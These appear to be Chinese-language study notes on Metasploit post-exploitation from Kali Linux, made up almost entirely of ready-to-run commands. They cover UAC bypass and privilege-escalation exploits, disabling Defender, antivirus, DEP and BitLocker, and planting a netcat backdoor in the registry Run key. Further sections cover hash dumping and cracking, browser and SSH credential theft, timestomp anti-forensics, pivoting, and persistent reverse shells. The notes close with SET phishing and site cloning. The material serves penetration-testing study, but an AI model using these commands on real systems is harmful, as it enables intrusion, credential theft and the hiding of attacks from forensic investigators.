kali linux之msf后渗透阶段

已经获得目标操作系统控制权后扩大战果

提权

信息收集

渗透内网

永久后门

基于已有session扩大战果

绕过UAC限制

use exploit/windows/local/ask
 set session -id
 set filename
 use exploit/windows/local/bypassuac
 use exploit/windows/local/bypassuac_injection
 set session -id
 set payload

利用漏洞直接提权为systen

use exploit/windows/local/ms13_053_schlamperei
use exploit/windows/local/ms13_081_track_popup_menu
use exploit/windows/local/ms13_097_ie_registry_symlink
use exploit/windows/local/ppr_flatten_rec

关闭windows防火墙--（需要管理员或system权限）

netsh advfirewall set allprofiles state on

关闭windefend

net stop windefend

Bitlocker磁盘加密

manage-bde -off C：

manage-bde -status C：

关闭DEP

bcdedit.exe /set {current} nx AlwaysOff

杀死防病毒软件

run killav

run post/windows/manage/killav

开启远程桌面服务

run post/windows/manage/enable_rdp

run getuid -e（截屏）

查看远程桌面

screenshot

use espia

screengrab

注册表保存着windows几乎全部配置参数

如果修改不当，可直接造成系统崩溃

修改前完整备份注册表

某些注册表的修改是不可逆的

常见用途

修改，增加启动项

窃取存储于注册表中的机密信息

绕过文件型病毒查杀

用注册表添加NC后门服务（meterpreter）

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -vnc

打开防火墙端口（meterpreter）

execute -f cmd -i -H
netsh firewall show opmode
netsh firewall add portopening TCP 4444 "test" ENABLE ALL
shutdown -r -t 0
nc 192.168.1.12 4444

其他注册表项

https://support.accessdata.com/hc/en-us/articles/204448155-Registry-
Quick-Find-Chart

抓包

load sniffer（加载sniffer）
sniffer_interfaces（查看有几个网卡）
sniffer_start 2（使用第二个网卡）
sniffer_dump 2 1.cap           /下载第二个网卡的数据包，命名为1.cao

在内存缓存区块存储抓包（50000包），不写硬盘，智能过滤meterpreter流量。传输全程使用SSL/TLS加密

解码

use auxiliary/sniffer/psnuffle

set PCAPFILE  /root/1.cap

搜索文件

search -f *.ini

search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.docx

John the Ripper 破解弱口令

use post/windows/gather/hashdump   （dump hash system权限的meterpreter）

set session id

run  结果保存在/tmp目录下

use auxiliary/analyze/jtr_crack_fast（破解hash）

run

文件系统访问会留下痕迹，电子取证重点关注，渗透测试和攻击者往往希望销毁文件系统访问痕迹

最好的避免被电子取证发现的方法：不要碰文件系统---meterpreter的先天优势所在（完全基于内存）

MAC时间

ls -l --time=atime/mtime/ctime 1.txt

start 1.txt

touch -d "2 days ago" 1.txt

touch -t 1501010101 1.txt

MACE：MFT entry

MFTA：ntfs文件系统的主分区分配表master file table

通常1024字节或2个硬盘扇区，其中存放多项entry信息

包含文件大量信息（大小，名称，目录位置，磁盘位置，创建日期）

更多信息可研究 文件系统取证分析技术

Timestomp （meterpreter）

timestomp -v 1.txt（查看详细时间）

timestomp -f c:\\autoexec.bat 1.txt（使用模板生成）

-m / -a / -c / -e / -z

timestomp -z "1/29/1949 21:11:56" 2.txt

pivoting 跳板 / 枢纽 / 支点

利用已经控制的一台计算机作为入侵内网的跳板

在其他内网计算机看来访问全部来自于跳板机

run autoroute -s 192.168.2.0/24 （添加路由，访问外网的目标内网网段）

auxiliary/scanner/portscan/tcp（添加路由后，扫描内网）

pivoting端口转发portfwd

利用已经被控制计算机，在kali与目标之间实现端口转发

portfwd add -L LIP -l LPORT -r RIP -p RPORT
 portfwd add -L 192.168.1.10 -l 445 -r 2.1.1.11 -p 3389
 portfwd list / delete / flush

use exploit/windows/smb/ms08_067_netapi
 set RHOST 127.0.0.1
 set LHOST 2.1.1.10

use exploit/multi/handler
 set exitonsession false

POST模块
run post/windows/gather/arp_scanner RHOSTS=2.1.1.0/24
run post/windows/gather/checkvm
run post/windows/gather/credentials/credential_collector
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_snmp
run post/multi/recon/local_exploit_suggester
run post/windows/manage/delete_user USERNAME=yuanfh
run post/multi/gather/env
run post/multi/gather/firefox_creds
run post/multi/gather/ssh_creds
run post/multi/gather/check_malware REMOTEFILE=c:\\a.exe

自动执行meterpreter脚本

set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com
 set InitialAutoRunScript checkvm

自动执行post模块

set InitialAutoRunScript migrate -n explorer.exe
 set AutoRunScript post/windows/gather/dumplinks

持久后门

利用漏洞取得的meterpreter shell 运行于内存中，重启失效

重复exploit漏洞可能造成服务崩溃，持久后门保证漏洞修复后仍可远程控制

meterpreter后门

meterpreter>run metsvc -A   （自动运行匹配shell）

use exploit/multi/handler（然后去链接目标）
set payload windows/metsvc_bind_tcp
set LPORT 31337
set RHOST 192.168.1.12

持久后门

meterpreter>run persistence -h
meterpreter>run persistence -X -i 10 -p 4444 -r 192.168.1.10（反弹shell监听本机）
meterpreter>run persistence -U -i 20 -p 4444 -r 192.168.1.10（反弹shell监听本机）
meterpreter>run persistence -S -i 20 -p 4444 -r 192.168.1.10（反弹shell监听本机）

社会工程学

metasploit可以很好的配合到社会工程学攻击的各个阶段

setooklkit工具包大量依赖metasploit

基于浏览器等客户端软件漏洞实现对客户端计算机的攻击

社会：人是社会化的动物（人与人之间的关系，群体利益决定结构架构）

工程：依据标准的步骤完成任务达成目标的一套方法

通过人的交流，使用欺骗伪装等手段绕过安全机制实现入侵的非技术手段

社会工程学攻击的四个阶段

研究：信息收集（web，媒体，垃圾桶，物理），确定并研究目标

钩子：与目标建立第一次交谈（hook，下套）

下手：与目标建立信任并获取信息

退场：不引起目标怀疑的离开现场

类型：

基于人的社工：

搭载

伪造身份

偷听/窃肩

反社工

垃圾桶工程

基于计算机的社工：

弹出窗口

内部网络攻击

钓鱼邮件

短信诈骗

Social-Engineering Tookit（SET）

站点克隆：1 2 3 2

发送钓鱼邮件：1 1 2

web站点攻击向量：1 2 1 2

中间文件全部存在~/.set目录中

友情链接  http://www.cnblogs.com/klionsec

http://www.cnblogs.com/l0cm

http://www.cnblogs.com/Anonyaptxxx

http://www.feiyusafe.cn